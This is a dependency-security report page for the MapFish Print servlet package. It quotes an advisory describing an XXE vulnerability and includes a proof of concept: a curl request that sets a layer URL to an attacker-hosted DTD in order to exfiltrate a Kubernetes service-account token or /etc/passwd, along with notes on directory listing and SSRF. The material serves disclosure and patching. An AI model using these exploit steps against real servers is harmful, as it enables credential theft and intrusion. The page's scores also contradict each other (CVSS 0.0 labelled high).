maven package report

Is org.mapfish:print.print-servlet safe?

1 known vulnerability, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so maven packages are not covered.


      cvss
      0.0
      high

      severity out of 10

      epss
      0.00%
      medium

      chance of exploitation in 30 days, 42nd percentile of all CVEs

      xyz score
      not scored

      CyberXYZ composite out of 10

      fig. 01 — GHSA-5v29-34h8-v68r, the advisory selected below

      // 1 advisories

      GHSA-5v29-34h8-v68r

      HIGHCVE-2026-55848
      // summary

      XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.

      https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507

      // details

      To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.

      The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.

      // poc

      Host this php file somewhere as xxe.php:

       
       %dtd;
      ]>
      
      
      unknown
      ";

      and beneath host this "evil.dtd"

      "> %exfil; %error;

      Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)

      curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'

      Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.

      It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://

      // impact

      disclose local files. blind(ish) SSRF (depends on the servers response data)

      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

      Attack vector
      Network
      Attack complexity
      Low
      Privileges required
      None
      User interaction
      None
      Scope
      Changed
      Confidentiality
      High
      Integrity
      None
      Availability
      None

      Checked 2026-09-26 at 01:04 UTC. The most recent advisory here was published 2026-08-28. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.